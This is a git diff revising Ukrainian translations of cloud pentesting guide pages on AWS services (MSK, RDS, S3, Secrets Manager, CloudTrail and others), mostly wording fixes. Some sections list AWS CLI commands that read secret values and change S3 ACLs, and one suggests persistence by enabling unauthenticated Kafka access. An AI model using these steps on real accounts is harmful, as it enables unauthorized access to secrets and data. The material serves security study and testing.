Kafka**, усуваючи необхідність у змінах у коді додатка. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** - це повністю керована служба, яка полегшує розробку та виконання додатків, що обробляють потокові дані через **Apache Kafka**. Операції контрольної площини, включаючи створення, оновлення та видалення **кластерів**, пропонуються Amazon MSK. Служба дозволяє використовувати **операції даних** Apache Kafka, що охоплюють виробництво та споживання даних. Вона працює на **відкритих версіях Apache Kafka**, забезпечуючи сумісність з існуючими додатками, інструментами та плагінами як від партнерів, так і від **спільноти Apache Kafka**, усуваючи необхідність у змінах у коді додатка. -Щодо надійності, Amazon MSK розроблений для **автоматичного виявлення та відновлення від поширених сценаріїв збоїв кластерів**, забезпечуючи, щоб додатки виробників і споживачів продовжували свої дії з запису та читання даних з мінімальними перервами. Крім того, він прагне оптимізувати процеси реплікації даних, намагаючись **повторно використовувати зберігання замінених брокерів**, тим самим зменшуючи обсяг даних, які потрібно реплікувати Apache Kafka. +Щодо надійності, Amazon MSK розроблений для **автоматичного виявлення та відновлення від поширених сценаріїв збоїв кластерів**, забезпечуючи, щоб додатки виробників і споживачів продовжували свої дії з запису та читання даних з мінімальними перервами. Крім того, він прагне оптимізувати процеси реплікації даних, намагаючись **повторно використовувати зберігання замінених брокерів**, тим самим мінімізуючи обсяг даних, які потрібно реплікувати Apache Kafka. ### **Типи** -Існує 2 типи кластерів Kafka, які AWS дозволяє створювати: Provisioned та Serverless. +Існує 2 типи кластерів Kafka, які AWS дозволяє створювати: Provisioned і Serverless. З точки зору атакуючого, вам потрібно знати, що: -- **Serverless не може бути безпосередньо публічним** (він може працювати лише у VPN без будь-якої публічно відкритої IP-адреси). Однак **Provisioned** може бути налаштований для отримання **публічної IP-адреси** (за замовчуванням цього не відбувається) і налаштувати **групу безпеки** для **відкриття** відповідних портів. +- **Serverless не може бути безпосередньо публічним** (він може працювати лише у VPN без будь-якої публічно відкритої IP-адреси). Однак **Provisioned** може бути налаштований для отримання **публічної IP-адреси** (за замовчуванням цього не відбувається) і налаштування **групи безпеки** для **відкриття** відповідних портів. - **Serverless** **підтримує лише IAM** як метод аутентифікації. **Provisioned** підтримує SASL/SCRAM (**пароль**) аутентифікацію, **IAM** аутентифікацію, AWS **Certificate** Manager (ACM) аутентифікацію та **неаутентифікований** доступ. - Зверніть увагу, що неможливо публічно відкрити Provisioned Kafka, якщо увімкнено неаутентифікований доступ. @@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -Якщо ви **матимете доступ до VPC**, де знаходиться Provisioned Kafka, ви могли б **увімкнути несанкціонований доступ**, якщо **SASL/SCRAM аутентифікація**, **прочитати** пароль з секрету, надати деяким **іншим контрольованим користувачам IAM дозволи** (якщо використовується IAM або безсерверні технології) або зберегти з **сертифікатами**. +Якщо ви **матимете доступ до VPC**, де знаходиться Provisioned Kafka, ви могли б **включити несанкціонований доступ**, якщо **SASL/SCRAM аутентифікація**, **прочитати** пароль з секрету, надати деяким **іншим контрольованим користувачам IAM дозволи** (якщо використовується IAM або безсерверні технології) або зберегти з **сертифікатами**. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index 58b3ce98a..1538b6164 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -4,13 +4,13 @@ ## Основна інформація -AWS Organizations полегшує створення нових AWS-акаунтів без додаткових витрат. Ресурси можна без зусиль виділяти, акаунти можна ефективно групувати, а політики управління можна застосовувати до окремих акаунтів або груп, що покращує управління та контроль в організації. +AWS Organizations полегшує створення нових AWS-акаунтів без додаткових витрат. Ресурси можна виділяти без зусиль, акаунти можна ефективно групувати, а політики управління можна застосовувати до окремих акаунтів або груп, що покращує управління та контроль в організації. Ключові моменти: - **Створення нового акаунта**: AWS Organizations дозволяє створювати нові AWS-акаунти без додаткових витрат. - **Виділення ресурсів**: Це спрощує процес виділення ресурсів між акаунтами. -- **Групування акаунтів**: Акаунти можна групувати разом, що робить управління більш зручним. +- **Групування акаунтів**: Акаунти можна групувати, що робить управління більш зручним. - **Політики управління**: Політики можна застосовувати до акаунтів або груп акаунтів, забезпечуючи відповідність і управління в організації. Ви можете знайти більше інформації в: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index d4b372da2..67c9bbe9c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -11,9 +11,9 @@ aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` -## Support +## Підтримка -В AWS ви можете отримати доступ до поточних та попередніх випадків підтримки через API +В AWS ви можете отримати доступ до поточних і попередніх випадків підтримки через API ``` aws support describe-cases --include-resolved-cases ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 2078259e6..f1fda508b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -8,7 +8,7 @@ Redshift - це повністю керована служба, яка може **Redshift пропонує шифрування в спокої, використовуючи чотирирівневу ієрархію ключів шифрування, використовуючи або KMS, або CloudHSM для управління верхнім рівнем ключів**. **Коли шифрування увімкнено для вашого кластера, його не можна вимкнути, і навпаки**. Коли у вас є незашифрований кластер, його не можна зашифрувати. -Шифрування для вашого кластера може відбуватися лише під час його створення, і після шифрування дані, метадані та будь-які знімки також зашифровані. Рівні ключів шифрування такі: **перший рівень - це головний ключ, другий рівень - це ключ шифрування кластера, CEK, третій рівень - ключ шифрування бази даних, DEK, і нарешті четвертий рівень - це самі ключі шифрування даних**. +Шифрування для вашого кластера може відбуватися лише під час його створення, і після шифрування дані, метадані та будь-які знімки також зашифровані. Рівні ієрархії ключів шифрування такі: **перший рівень - це головний ключ, другий рівень - це ключ шифрування кластера, CEK, третій рівень - ключ шифрування бази даних, DEK, і нарешті четвертий рівень - це самі ключі шифрування даних**. ### KMS @@ -32,9 +32,9 @@ Redshift потім запитує KMS, щоб розшифрувати CEK, д Коли ви працюєте з CloudHSM для виконання шифрування, спочатку ви повинні налаштувати довірене з'єднання між вашим HSM-клієнтом і Redshift, використовуючи сертифікати клієнта та сервера. -Це з'єднання необхідне для забезпечення безпечних комунікацій, що дозволяє шифрувальним ключам надсилатися між вашим HSM-клієнтом і вашими кластерами Redshift. Використовуючи випадковим чином згенеровану пару приватного та публічного ключів, Redshift створює публічний сертифікат клієнта, який шифрується та зберігається Redshift. Цей сертифікат потрібно завантажити та зареєструвати у вашому HSM-клієнті та призначити правильній HSM-партії. +Це з'єднання необхідне для забезпечення безпечних комунікацій, що дозволяє шифрувальним ключам надсилатися між вашим HSM-клієнтом і вашими кластерами Redshift. Використовуючи випадковим чином згенеровану пару приватного та публічного ключів, Redshift створює публічний сертифікат клієнта, який шифрується та зберігається Redshift. Цей сертифікат потрібно завантажити та зареєструвати у вашому HSM-клієнті та призначити правильну HSM-партію. -Ви повинні налаштувати Redshift з наступними даними вашого HSM-клієнта: IP-адреса HSM, назва HSM-партії, пароль HSM-партії та публічний сертифікат HSM-сервера, який шифрується CloudHSM за допомогою внутрішнього головного ключа. Після надання цієї інформації Redshift підтвердить та перевірить, що може підключитися та отримати доступ до розробницької партії. +Вам потрібно налаштувати Redshift з наступними даними вашого HSM-клієнта: IP-адреса HSM, назва HSM-партії, пароль HSM-партії та публічний сертифікат HSM-сервера, який шифрується CloudHSM за допомогою внутрішнього головного ключа. Після надання цієї інформації Redshift підтвердить та перевірить, що може підключитися та отримати доступ до розробницької партії. Якщо ваші внутрішні політики безпеки або контроль управління вимагають, щоб ви застосовували ротацію ключів, то це можливо з Redshift, що дозволяє вам обертати шифрувальні ключі для зашифрованих кластерів, однак вам потрібно бути обізнаним, що під час процесу ротації ключів кластер буде недоступний на дуже короткий період часу, тому краще обертати ключі лише тоді, коли це необхідно, або якщо ви вважаєте, що вони могли бути скомпрометовані. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 8a4f364dd..ec9560ca7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -1,4 +1,4 @@ -# AWS - Relational Database (RDS) Enum +# AWS - Перерахунок реляційної бази даних (RDS) {{#include ../../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ **Служба реляційних баз даних (RDS)**, що пропонується AWS, призначена для спрощення розгортання, експлуатації та масштабування **реляційної бази даних у хмарі**. Ця служба пропонує переваги економії витрат і масштабованості, автоматизуючи трудомісткі завдання, такі як постачання апаратного забезпечення, налаштування бази даних, патчинг і резервне копіювання. -AWS RDS підтримує різні широко використовувані реляційні бази даних, включаючи MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server та Amazon Aurora, з сумісністю як з MySQL, так і з PostgreSQL. +AWS RDS підтримує різні широко використовувані реляційні бази даних, включаючи MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server та Amazon Aurora, з сумісністю як для MySQL, так і для PostgreSQL. Ключові особливості RDS включають: @@ -20,7 +20,7 @@ AWS RDS підтримує різні широко використовуван ## Облікові дані -При створенні кластера БД майстерний **ім'я користувача** може бути налаштоване (**`admin`** за замовчуванням). Щоб згенерувати пароль цього користувача, ви можете: +При створенні кластера БД майстерний **ім'я користувача** може бути налаштований (**`admin`** за замовчуванням). Щоб згенерувати пароль цього користувача, ви можете: - **Вказати** **пароль** самостійно - Сказати RDS **автоматично згенерувати** його @@ -36,7 +36,7 @@ AWS RDS підтримує різні широко використовуван ### Публічний доступ та VPC -За замовчуванням **публічний доступ не надається** до баз даних, однак він **може бути наданий**. Тому за замовчуванням лише машини з тієї ж VPC зможуть отримати доступ до неї, якщо вибрана **група безпеки** (зберігається в EC2 SG) це дозволяє. +За замовчуванням **публічний доступ не надається** базам даних, однак він **може бути наданий**. Тому за замовчуванням лише машини з тієї ж VPC зможуть отримати доступ до неї, якщо вибрана **група безпеки** (зберігається в EC2 SG) дозволяє це. Замість того, щоб відкривати екземпляр БД, можна створити **RDS Proxy**, який **покращує** **масштабованість** та **доступність** кластера БД. @@ -49,16 +49,16 @@ AWS RDS підтримує різні широко використовуван Увімкнувши своє шифрування, ви увімкнули **шифрування в спокої для вашого сховища, знімків, реплік для читання та ваших резервних копій**. Ключі для управління цим шифруванням можуть бути видані за допомогою **KMS**.\ Не можливо додати цей рівень шифрування після створення вашої бази даних. **Це потрібно зробити під час її створення**. -Однак існує **обхідний шлях, що дозволяє вам зашифрувати незашифровану базу даних наступним чином**. Ви можете створити знімок вашої незашифрованої бази даних, створити зашифровану копію цього знімка, використати цей зашифрований знімок для створення нової бази даних, а потім, нарешті, ваша база даних буде зашифрована. +Однак існує **обхідний шлях, що дозволяє зашифрувати незашифровану базу даних наступним чином**. Ви можете створити знімок вашої незашифрованої бази даних, створити зашифровану копію цього знімка, використати цей зашифрований знімок для створення нової бази даних, і, нарешті, ваша база даних буде зашифрована. #### Прозоре шифрування даних (TDE) -Окрім можливостей шифрування, властивих RDS на рівні програми, RDS також підтримує **додаткові механізми шифрування на рівні платформи** для захисту даних у спокої. Це включає **Прозоре шифрування даних (TDE)** для Oracle та SQL Server. Однак важливо зазначити, що хоча TDE підвищує безпеку, шифруючи дані в спокої, це також може **вплинути на продуктивність бази даних**. Цей вплив на продуктивність особливо помітний при використанні разом з криптографічними функціями MySQL або криптографічними функціями Microsoft Transact-SQL. +Поряд з можливостями шифрування, властивими RDS на рівні програми, RDS також підтримує **додаткові механізми шифрування на платформі** для захисту даних у спокої. Це включає **Прозоре шифрування даних (TDE)** для Oracle та SQL Server. Однак важливо зазначити, що хоча TDE підвищує безпеку, шифруючи дані в спокої, це також може **вплинути на продуктивність бази даних**. Цей вплив на продуктивність особливо помітний при використанні разом з криптографічними функціями MySQL або криптографічними функціями Microsoft Transact-SQL. Щоб використовувати TDE, необхідні певні попередні кроки: 1. **Асоціація групи параметрів**: -- База даних повинна бути асоційована з групою параметрів. Групи параметрів слугують контейнерами для налаштувань і функцій, полегшуючи управління базою даних, включаючи покращення безпеки. +- База даних повинна бути асоційована з групою параметрів. Групи параметрів служать контейнерами для налаштувань і функцій, полегшуючи управління базою даних, включаючи покращення безпеки. - Однак важливо зазначити, що групи параметрів доступні лише для певних движків бази даних і версій. 2. **Включення TDE в групу параметрів**: - Після асоціації з групою параметрів опція Oracle Transparent Data Encryption повинна бути включена в цю групу. @@ -68,9 +68,9 @@ AWS RDS підтримує різні широко використовуван - **Шифрування таблиць TDE**: Цей режим шифрує цілі таблиці, забезпечуючи ширший обсяг захисту даних. - **Шифрування стовпців TDE**: Цей режим зосереджується на шифруванні конкретних, окремих елементів у базі даних, що дозволяє більш детально контролювати, які дані шифруються. -Розуміння цих передумов і оперативних тонкощів TDE є важливим для ефективного впровадження та управління шифруванням у RDS, забезпечуючи як безпеку даних, так і відповідність необхідним стандартам. +Розуміння цих попередніх вимог і оперативних тонкощів TDE є важливим для ефективного впровадження та управління шифруванням у RDS, забезпечуючи як безпеку даних, так і відповідність необхідним стандартам. -### Перерахування +### Перерахунок ```bash # Clusters info ## Get Endpoints, username, port, iam auth enabled, attached roles, SG diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index 6b02445d4..e3612d791 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -12,7 +12,7 @@ Amazon Route 53 - це хмарний **система доменних імен Це корисно для налаштування вашої DNS маршрутизації, щоб приймати найкращі рішення маршрутизації DNS для ваших кінцевих користувачів.\ IP-орієнтоване маршрутизація надає вам додаткову можливість **оптимізувати маршрутизацію на основі специфічних знань про вашу клієнтську базу**. -### Перерахування +### Enumeration ```bash aws route53 list-hosted-zones # Get domains aws route53 get-hosted-zone --id diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 49858c30d..acf8248c6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -12,7 +12,7 @@ Amazon S3 надає кілька варіантів для досягнення ### Версійність бакетів та видалення на основі MFA -Коли версійність бакетів увімкнена, будь-яка дія, яка намагається змінити файл всередині файлу, створить нову версію файлу, зберігаючи також попередній вміст того ж файлу. Тому, він не перезапише свій вміст. +Коли версійність бакетів увімкнена, будь-яка дія, яка намагається змінити файл всередині файлу, створить нову версію файлу, зберігаючи також попередній вміст того ж файлу. Таким чином, він не перезапише свій вміст. Більше того, видалення на основі MFA запобігатиме видаленню версій файлів у бакеті S3, а також відключенню версійності бакетів, тому зловмисник не зможе змінити ці файли. @@ -26,7 +26,7 @@ Amazon S3 надає кілька варіантів для досягнення ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -URL з попереднім підписом може бути **створено з cli, використовуючи облікові дані суб'єкта, який має доступ до об'єкта** (якщо обліковий запис, який ви використовуєте, не має доступу, буде створено коротший URL з попереднім підписом, але він буде марним) +Пресигнена URL-адреса може бути **створена з cli, використовуючи облікові дані суб'єкта, який має доступ до об'єкта** (якщо обліковий запис, який ви використовуєте, не має доступу, буде створена коротша пресигнена URL-адреса, але вона буде марною) ```bash aws s3 presign --region 's3:///' ``` @@ -48,13 +48,13 @@ ExpiresIn=3600
-Шифрування на стороні сервера з ключами, керованими S3, SSE-S3 +Шифрування на стороні сервера з керованими ключами S3, SSE-S3 Цей варіант вимагає мінімальної конфігурації, і все управління ключами шифрування здійснюється AWS. Все, що вам потрібно зробити, це **завантажити свої дані, і S3 впорається з усіма іншими аспектами**. Кожному бакету в обліковому записі S3 призначається ключ бакету. - Шифрування: - Дані об'єкта + створений відкритий DEK --> Зашифровані дані (зберігаються в S3) -- Створений відкритий DEK + Майстер-ключ S3 --> Зашифрований DEK (зберігається в S3) і відкритий текст видаляється з пам'яті +- Створений відкритий DEK + Майстер-ключ S3 --> Зашифрований DEK (зберігається в S3), а відкритий текст видаляється з пам'яті - Розшифрування: - Зашифрований DEK + Майстер-ключ S3 --> Відкритий DEK - Відкритий DEK + Зашифровані дані --> Дані об'єкта @@ -65,13 +65,13 @@ ExpiresIn=3600
-Шифрування на стороні сервера з ключами, керованими KMS, SSE-KMS +Шифрування на стороні сервера з керованими ключами KMS, SSE-KMS Цей метод дозволяє S3 використовувати службу управління ключами для генерації ваших ключів шифрування даних. KMS надає вам значно більшу гнучкість у тому, як управляються ваші ключі. Наприклад, ви можете відключати, обертати та застосовувати контроль доступу до CMK, а також контролювати їх використання за допомогою AWS Cloud Trail. - Шифрування: - S3 запитує ключі даних у KMS CMK -- KMS використовує CMK для генерації пари відкритого DEK і зашифрованого DEK та надсилає їх до S3 +- KMS використовує CMK для генерації пари відкритого DEK та зашифрованого DEK і надсилає їх до S3 - S3 використовує відкритий ключ для шифрування даних, зберігає зашифровані дані та зашифрований ключ і видаляє з пам'яті відкритий ключ - Розшифрування: - S3 запитує KMS для розшифрування зашифрованого ключа даних об'єкта @@ -87,14 +87,14 @@ ExpiresIn=3600 Цей варіант дає вам можливість надати свій власний майстер-ключ, який ви, можливо, вже використовуєте поза AWS. Ваш ключ, наданий клієнтом, буде надіслано разом з вашими даними до S3, де S3 виконає шифрування для вас. - Шифрування: -- Користувач надсилає дані об'єкта + Ключ клієнта до S3 -- Ключ клієнта використовується для шифрування даних, і зашифровані дані зберігаються +- Користувач надсилає дані об'єкта + ключ клієнта до S3 +- Ключ клієнта використовується для шифрування даних, а зашифровані дані зберігаються - також зберігається значення HMAC з сіллю ключа клієнта для майбутньої валідації ключа - ключ клієнта видаляється з пам'яті - Розшифрування: - Користувач надсилає ключ клієнта - Ключ перевіряється на відповідність збереженому значенню HMAC -- Ключ, наданий клієнтом, потім використовується для розшифрування даних +- Ключ, наданий клієнтом, використовується для розшифрування даних
@@ -102,11 +102,11 @@ ExpiresIn=3600 Шифрування на стороні клієнта з KMS, CSE-KMS -Аналогічно до SSE-KMS, цей метод також використовує службу управління ключами для генерації ваших ключів шифрування даних. Однак цього разу KMS викликається через клієнта, а не S3. Шифрування відбувається на стороні клієнта, а зашифровані дані надсилаються до S3 для зберігання. +Аналогічно SSE-KMS, цей метод також використовує службу управління ключами для генерації ваших ключів шифрування даних. Однак цього разу KMS викликається через клієнта, а не S3. Шифрування відбувається на стороні клієнта, а зашифровані дані надсилаються до S3 для зберігання. - Шифрування: - Клієнт запитує ключ даних у KMS -- KMS повертає відкритий DEK і зашифрований DEK з CMK +- KMS повертає відкритий DEK та зашифрований DEK з CMK - Обидва ключі надсилаються назад - Клієнт шифрує дані за допомогою відкритого DEK і надсилає до S3 зашифровані дані + зашифрований DEK (який зберігається як метадані зашифрованих даних у S3) - Розшифрування: @@ -134,7 +134,7 @@ ExpiresIn=3600 ### **Перерахування** -Один з традиційних основних способів компрометації організацій AWS починається з компрометації бакетів, які є публічно доступними. **Ви можете знайти** [**перерахувачі публічних бакетів на цій сторінці**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +Один з традиційних основних способів компрометації організацій AWS починається з компрометації бакетів, доступних публічно. **Ви можете знайти** [**перерахувачі публічних бакетів на цій сторінці**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -229,7 +229,7 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### dual-stack -Ви можете отримати доступ до S3 бакету через двосторонній кінцевий пункт, використовуючи віртуальне ім'я кінцевого пункту в стилі хостингу або в стилі шляху. Це корисно для доступу до S3 через IPv6. +Ви можете отримати доступ до S3 бакету через двосторонній кінцевий пункт, використовуючи віртуальне ім'я стилю хостингу або ім'я кінцевого пункту стилю шляху. Це корисно для доступу до S3 через IPv6. Двосторонні кінцеві пункти використовують наступний синтаксис: @@ -262,15 +262,15 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ../aws-persistence/aws-s3-persistence.md {{#endref}} -## Other S3 vulns +## Інші вразливості S3 -### S3 HTTP Cache Poisoning Issue +### Проблема отруєння кешу HTTP S3 -[**Згідно з цим дослідженням**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) було можливим кешувати відповідь довільного бакету так, ніби вона належала іншому. Це могло бути зловжито для зміни, наприклад, відповідей файлів javascript і компрометації довільних сторінок, що використовують S3 для зберігання статичного коду. +[**Згідно з цим дослідженням**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) було можливо кешувати відповідь довільного бакету так, ніби вона належала іншому. Це могло бути використано для зміни, наприклад, відповідей файлів javascript і компрометації довільних сторінок, використовуючи S3 для зберігання статичного коду. ## Amazon Athena -Amazon Athena — це інтерактивний сервіс запитів, який спрощує **аналіз даних** безпосередньо в Amazon Simple Storage Service (Amazon **S3**) **використовуючи** стандартний **SQL**. +Amazon Athena - це інтерактивна служба запитів, яка спрощує **аналіз даних** безпосередньо в Amazon Simple Storage Service (Amazon **S3**) **використовуючи** стандартний **SQL**. Вам потрібно **підготувати реляційну таблицю БД** з форматом вмісту, який з'явиться в моніторингових S3 бакетах. А потім Amazon Athena зможе заповнити БД з журналів, щоб ви могли запитувати її. @@ -278,7 +278,7 @@ Amazon Athena підтримує **можливість запитувати д **Ця шифрація результатів незалежна від основних запитуваних даних S3**, що означає, що навіть якщо дані S3 не зашифровані, запитувані результати можуть бути зашифровані. Кілька моментів, про які слід пам'ятати, це те, що Amazon Athena підтримує лише дані, які були **зашифровані** за допомогою **наступних методів шифрування S3**, **SSE-S3, SSE-KMS та CSE-KMS**. -SSE-C та CSE-E не підтримуються. Крім того, важливо розуміти, що Amazon Athena буде виконувати запити лише проти **зашифрованих об'єктів, які знаходяться в тому ж регіоні, що й сам запит**. Якщо вам потрібно запитати дані S3, які були зашифровані за допомогою KMS, тоді користувачу Athena потрібні специфічні дозволи, щоб дозволити їм виконати запит. +SSE-C та CSE-E не підтримуються. Крім того, важливо розуміти, що Amazon Athena буде виконувати запити лише проти **зашифрованих об'єктів, які знаходяться в тому ж регіоні, що й сам запит**. Якщо вам потрібно запитувати дані S3, які були зашифровані за допомогою KMS, тоді користувачу Athena потрібні специфічні дозволи, щоб дозволити їм виконати запит. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index b67cf1479..6de38ea6b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -27,13 +27,13 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` -### Privesc +### Привілегії {{#ref}} ../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Постексплуатація +### Після експлуатації {{#ref}} ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 44df6ab3b..0f4a4fe88 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи, хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпекових позицій і забезпечення відповідності регуляторним вимогам. +AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи, хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує аудит змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпеки та забезпечення відповідності регуляторним вимогам. Кожна зафіксована подія містить: @@ -19,17 +19,17 @@ AWS CloudTrail **реєструє та моніторить активність - Параметри запиту: `requestParameters` - Елементи відповіді: `responseElements` -Події записуються в новий файл журналу **приблизно кожні 5 хвилин у JSON-файлі**, вони зберігаються CloudTrail, а в кінцевому підсумку файли журналів **доставляються в S3 приблизно через 15 хвилин**.\ +Події записуються в новий файл журналу **приблизно кожні 5 хвилин у файлі JSON**, вони зберігаються CloudTrail, а в кінцевому підсумку файли журналів **доставляються в S3 приблизно через 15 хвилин**.\ Журнали CloudTrail можуть бути **агреговані між обліковими записами та регіонами.**\ CloudTrail дозволяє використовувати **цілісність файлів журналів, щоб мати можливість перевірити, що ваші файли журналів залишилися незмінними** з моменту їх доставки вам. Він створює SHA-256 хеш журналів у файлі дайджесту. SHA-256 хеш нових журналів створюється щогодини.\ -При створенні Trail селектори подій дозволять вам вказати, які події слід реєструвати: управлінські, дані або події аналітики. +При створенні Trail селектори подій дозволять вам вказати, які події журналювати: управлінські, дані або інсайти. Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS та вашими власними ключами. Журнали зберігаються в **кошику S3 з таким форматом імені**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Де BucketName: **`aws-cloudtrail-logs--`** +- Ім'я кошика: **`aws-cloudtrail-logs--`** - Приклад: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** У кожній папці кожен журнал матиме **ім'я, що відповідає цьому формату**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** @@ -53,9 +53,9 @@ CloudTrail дозволяє використовувати **цілісніст > [!CAUTION] > Пам'ятайте, що обліковий запис може мати **різні Trails** з CloudTrail **увімкненими**, зберігаючи однакові (або різні) журнали в різних кошиках. -### Cloudtrail з усіх облікових записів організації в 1 +### CloudTrail з усіх облікових записів організації в 1 -При створенні CloudTrail можливо вказати активувати cloudtrail для всіх облікових записів в організації та отримати журнали в лише 1 кошик: +При створенні CloudTrail можливо вказати активувати CloudTrail для всіх облікових записів в організації та отримати журнали лише в 1 кошику:
